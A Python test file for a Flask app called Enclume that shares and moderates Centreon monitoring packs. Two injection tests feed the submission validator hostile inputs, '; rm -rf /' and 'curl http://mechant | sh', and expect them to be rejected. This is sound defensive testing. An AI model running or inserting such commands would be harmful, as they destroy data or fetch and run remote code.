hcornet
5766e24213
build / Garde-fou (pull_request) Successful in 9m19s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Successful in 9m45s
build / Garde-fou (push) Successful in 9m19s
build / Images Harbor (web, Dockerfile) (push) Successful in 13m10s
322 lines
12 KiB
Python
322 lines
12 KiB
Python
"""Tests des fonctionnalites serveur : partage, projets, soumissions, moderation.
|
|
|
|
La base est un SQLite temporaire ; PostgreSQL n'apporte rien de plus a verifier
|
|
ici, et la CI reste sans service externe.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import importlib
|
|
from pathlib import Path
|
|
|
|
import pytest
|
|
|
|
PACK_VALIDE = """
|
|
id: app-rabbitmq
|
|
name: RabbitMQ
|
|
category: application
|
|
status: to-verify
|
|
plugin: centreon_rabbitmq_restapi.pl
|
|
description: Supervision d'un broker RabbitMQ via son API de management.
|
|
host_template:
|
|
name: App-RabbitMQ-custom
|
|
alias: Applicatif RabbitMQ
|
|
parents: [generic-active-host-custom]
|
|
macros:
|
|
- {name: RABBITPORT, value: "15672", description: "Port de l'API"}
|
|
services:
|
|
- name: Queues
|
|
alias: Queues
|
|
description: Messages en attente
|
|
line: >-
|
|
$CENTREONPLUGINS$/centreon_rabbitmq_restapi.pl
|
|
--plugin=apps::rabbitmq::restapi::plugin --mode=queues --hostname=$HOSTADDRESS$
|
|
macros:
|
|
- {name: WARNING, value: "1000", description: "Seuil warning"}
|
|
"""
|
|
|
|
|
|
@pytest.fixture()
|
|
def app(tmp_path, monkeypatch):
|
|
monkeypatch.setenv("ENCLUME_DATABASE_URL", f"sqlite:///{tmp_path/'essai.db'}")
|
|
monkeypatch.setenv("ENCLUME_CATALOG", "catalog")
|
|
monkeypatch.setenv("ENCLUME_SECRET_KEY", "cle-de-test")
|
|
monkeypatch.setenv("ENCLUME_COOKIE_SECURE", "0")
|
|
|
|
import enclume.auth
|
|
import enclume.config
|
|
import enclume.db
|
|
import enclume.routes_donnees
|
|
import enclume.webapp
|
|
|
|
for module in (enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp):
|
|
importlib.reload(module)
|
|
|
|
application = enclume.webapp.create_app()
|
|
with application.app_context():
|
|
enclume.db.db.create_all()
|
|
return application
|
|
|
|
|
|
def _connecter(app, client, administrateur=False):
|
|
"""Cree un compte et ouvre une session, sans passer par le fournisseur OIDC."""
|
|
from enclume.db import Utilisateur, db
|
|
|
|
with app.app_context():
|
|
utilisateur = Utilisateur(
|
|
sujet="sujet-de-test", email="[email protected]", nom="Testeur",
|
|
administrateur=administrateur,
|
|
)
|
|
db.session.add(utilisateur)
|
|
db.session.commit()
|
|
identifiant = utilisateur.id
|
|
with client.session_transaction() as session:
|
|
session["utilisateur_id"] = identifiant
|
|
return identifiant
|
|
|
|
|
|
# --------------------------------------------------------------- chantier 3
|
|
|
|
def test_partage_cree_et_relu(app):
|
|
client = app.test_client()
|
|
projet = {"name": "Projet partage", "commands": [{"name": "X", "line": "$USER1$/check_ping"}]}
|
|
reponse = client.post("/api/partages", json={"project": projet})
|
|
assert reponse.status_code == 200
|
|
identifiant = reponse.get_json()["id"]
|
|
|
|
relu = client.get(f"/api/partages/{identifiant}")
|
|
assert relu.status_code == 200
|
|
assert relu.get_json()["project"]["name"] == "Projet partage"
|
|
|
|
|
|
def test_partage_vide_les_mots_de_passe(app):
|
|
client = app.test_client()
|
|
projet = {
|
|
"name": "Avec secret",
|
|
"host_templates": [
|
|
{"name": "H", "macros": [{"name": "PASSWORD", "value": "secret", "is_password": True}]}
|
|
],
|
|
}
|
|
identifiant = client.post("/api/partages", json={"project": projet}).get_json()["id"]
|
|
relu = client.get(f"/api/partages/{identifiant}").get_json()
|
|
assert relu["project"]["host_templates"][0]["macros"][0]["value"] == ""
|
|
|
|
|
|
def test_partage_inconnu(app):
|
|
assert app.test_client().get("/api/partages/inexistant").status_code == 404
|
|
|
|
|
|
def test_projets_enregistres_cycle_complet(app):
|
|
client = app.test_client()
|
|
_connecter(app, client)
|
|
|
|
cree = client.post("/api/projets", json={"project": {"name": "Mon projet"}})
|
|
assert cree.status_code == 200
|
|
identifiant = cree.get_json()["id"]
|
|
|
|
assert len(client.get("/api/projets").get_json()) == 1
|
|
assert client.get(f"/api/projets/{identifiant}").get_json()["project"]["name"] == "Mon projet"
|
|
assert client.delete(f"/api/projets/{identifiant}").status_code == 200
|
|
assert client.get("/api/projets").get_json() == []
|
|
|
|
|
|
def test_projets_refuses_sans_connexion(app):
|
|
assert app.test_client().get("/api/projets").status_code == 401
|
|
|
|
|
|
def test_un_compte_ne_voit_pas_les_projets_d_un_autre(app):
|
|
from enclume.db import Projet, Utilisateur, db
|
|
|
|
client = app.test_client()
|
|
_connecter(app, client)
|
|
with app.app_context():
|
|
autre = Utilisateur(sujet="autre")
|
|
db.session.add(autre)
|
|
db.session.commit()
|
|
projet = Projet(utilisateur_id=autre.id, nom="Prive", contenu="{}")
|
|
db.session.add(projet)
|
|
db.session.commit()
|
|
identifiant = projet.id
|
|
|
|
assert client.get(f"/api/projets/{identifiant}").status_code == 404
|
|
assert client.delete(f"/api/projets/{identifiant}").status_code == 404
|
|
|
|
|
|
# --------------------------------------------------------------- chantier 5
|
|
|
|
def test_soumission_valide_puis_enregistree(app):
|
|
client = app.test_client()
|
|
_connecter(app, client)
|
|
|
|
verification = client.post("/api/soumissions/verifier", json={"yaml": PACK_VALIDE})
|
|
assert verification.get_json()["valide"] is True
|
|
|
|
envoi = client.post("/api/soumissions", json={"yaml": PACK_VALIDE, "message": "premier pack"})
|
|
assert envoi.status_code == 200
|
|
assert envoi.get_json()["statut"] == "en_attente"
|
|
assert len(client.get("/api/soumissions").get_json()) == 1
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"modification, attendu",
|
|
[
|
|
("id: Mauvais Identifiant", "identifiant"),
|
|
("category: inconnue", "Categorie"),
|
|
],
|
|
)
|
|
def test_soumission_refusee_sur_pack_invalide(app, modification, attendu):
|
|
client = app.test_client()
|
|
_connecter(app, client)
|
|
cle = modification.split(":")[0]
|
|
yaml_casse = "\n".join(
|
|
modification if ligne.startswith(f"{cle}:") else ligne for ligne in PACK_VALIDE.splitlines()
|
|
)
|
|
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
|
assert reponse.status_code == 400
|
|
assert any(attendu.lower() in p.lower() for p in reponse.get_json()["problemes"])
|
|
|
|
|
|
def test_soumission_refuse_une_commande_avec_point_virgule(app):
|
|
client = app.test_client()
|
|
_connecter(app, client)
|
|
yaml_casse = PACK_VALIDE.replace("--mode=queues", "--mode=queues; rm -rf /")
|
|
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
|
assert reponse.status_code == 400
|
|
|
|
|
|
def test_soumission_refuse_un_prerequis_douteux(app):
|
|
client = app.test_client()
|
|
_connecter(app, client)
|
|
yaml_casse = PACK_VALIDE + """
|
|
prerequis:
|
|
paquets:
|
|
debian: ["curl http://mechant | sh"]
|
|
"""
|
|
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
|
assert reponse.status_code == 400
|
|
|
|
|
|
def test_moderation_reservee_aux_administrateurs(app):
|
|
client = app.test_client()
|
|
_connecter(app, client, administrateur=False)
|
|
assert client.get("/api/moderation/soumissions").status_code == 403
|
|
|
|
|
|
def test_moderation_refus_avec_motif(app):
|
|
client = app.test_client()
|
|
_connecter(app, client, administrateur=True)
|
|
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
|
|
|
en_attente = client.get("/api/moderation/soumissions").get_json()
|
|
assert len(en_attente) == 1
|
|
assert "auteur" in en_attente[0]
|
|
|
|
refus = client.post(
|
|
f"/api/moderation/soumissions/{identifiant}/refuser", json={"motif": "doublon"}
|
|
)
|
|
assert refus.get_json()["statut"] == "refusee"
|
|
assert refus.get_json()["reponse"] == "doublon"
|
|
assert client.post(f"/api/moderation/soumissions/{identifiant}/refuser", json={}).status_code == 409
|
|
|
|
|
|
def test_publication_sans_gitea_configure(app):
|
|
client = app.test_client()
|
|
_connecter(app, client, administrateur=True)
|
|
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
|
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
|
assert reponse.status_code == 503
|
|
|
|
|
|
def test_publication_ouvre_une_demande_de_fusion(app, monkeypatch):
|
|
"""La publication appelle Gitea ; on verifie les appels, sans reseau."""
|
|
import enclume.gitea as gitea
|
|
import enclume.routes_donnees as routes
|
|
|
|
appels = []
|
|
|
|
def faux_appel(methode, chemin, corps=None):
|
|
appels.append((methode, chemin, corps))
|
|
if chemin.endswith("/pulls"):
|
|
return {"html_url": "https://gitea.example/Tips-Of-Mine/Enclume/pulls/7"}
|
|
return {}
|
|
|
|
monkeypatch.setattr(gitea, "_appel", faux_appel)
|
|
monkeypatch.setattr(gitea.Config, "GITEA_URL", "https://gitea.example")
|
|
monkeypatch.setattr(gitea.Config, "GITEA_TOKEN", "jeton")
|
|
monkeypatch.setattr(gitea.Config, "GITEA_PROPRIETAIRE", "Tips-Of-Mine")
|
|
monkeypatch.setattr(gitea.Config, "GITEA_DEPOT", "Enclume")
|
|
monkeypatch.setattr(routes.Config, "gitea_actif", classmethod(lambda cls: True))
|
|
|
|
client = app.test_client()
|
|
_connecter(app, client, administrateur=True)
|
|
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
|
|
|
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
|
assert reponse.status_code == 200
|
|
resultat = reponse.get_json()
|
|
assert resultat["statut"] == "publiee"
|
|
assert resultat["url_pr"].endswith("/pulls/7")
|
|
|
|
creation, demande = appels
|
|
assert creation[1].endswith("catalog/application/app-rabbitmq.yml")
|
|
assert creation[2]["new_branch"].startswith("pack/app-rabbitmq-")
|
|
assert demande[2]["head"] == creation[2]["new_branch"]
|
|
assert demande[2]["base"] == "main"
|
|
|
|
|
|
# ------------------------------------------------------------ etat du site
|
|
|
|
def test_les_fonctions_sont_annoncees(app):
|
|
fonctions = app.test_client().get("/sante").get_json()["fonctions"]
|
|
assert fonctions["partage"] is True # base presente
|
|
assert fonctions["comptes"] is False # OIDC absent en test
|
|
assert fonctions["publication_gitea"] is False
|
|
|
|
|
|
def test_page_de_partage_sert_l_editeur(app):
|
|
reponse = app.test_client().get("/p/quelconque")
|
|
assert reponse.status_code == 200
|
|
assert b"donnees-contexte" in reponse.data
|
|
|
|
|
|
def test_moderation_demande_la_connexion(app):
|
|
page = app.test_client().get("/moderation")
|
|
assert page.status_code == 200
|
|
assert b"Connexion requise" in page.data
|
|
|
|
|
|
def test_url_de_base_encode_les_caracteres_speciaux(monkeypatch):
|
|
"""Un mot de passe avec @ ou : ne doit pas disloquer l'URL de connexion."""
|
|
import importlib
|
|
from urllib.parse import unquote, urlsplit
|
|
|
|
monkeypatch.delenv("ENCLUME_DATABASE_URL", raising=False)
|
|
monkeypatch.setenv("ENCLUME_DB_HOTE", "db")
|
|
monkeypatch.setenv("ENCLUME_DB_MOTDEPASSE", "p@ss:w0rd/#1")
|
|
|
|
import enclume.config
|
|
|
|
importlib.reload(enclume.config)
|
|
morceaux = urlsplit(enclume.config.Config.SQLALCHEMY_DATABASE_URI)
|
|
assert morceaux.hostname == "db"
|
|
assert morceaux.port == 5432
|
|
assert morceaux.username == "enclume"
|
|
# L'URL porte la valeur encodee ; c'est le pilote qui la decode.
|
|
assert morceaux.password == "p%40ss%3Aw0rd%2F%231"
|
|
assert unquote(morceaux.password) == "p@ss:w0rd/#1"
|
|
|
|
|
|
def test_le_point_d_entree_reconnait_les_deux_declarations_de_base():
|
|
"""Les migrations doivent partir quelle que soit la facon de declarer la base."""
|
|
script = Path("docker/entrypoint-web.sh").read_text(encoding="utf-8")
|
|
condition = next(ligne for ligne in script.splitlines() if ligne.startswith("if ["))
|
|
assert "ENCLUME_DATABASE_URL" in condition
|
|
assert "ENCLUME_DB_HOTE" in condition
|
|
|
|
|
|
def test_alembic_lit_la_configuration_de_l_application():
|
|
"""Alembic et l'application doivent viser la meme base, sans divergence possible."""
|
|
env = Path("migrations/env.py").read_text(encoding="utf-8")
|
|
assert "Config.SQLALCHEMY_DATABASE_URI" in env
|
|
assert 'os.environ.get("ENCLUME_DATABASE_URL"' not in env
|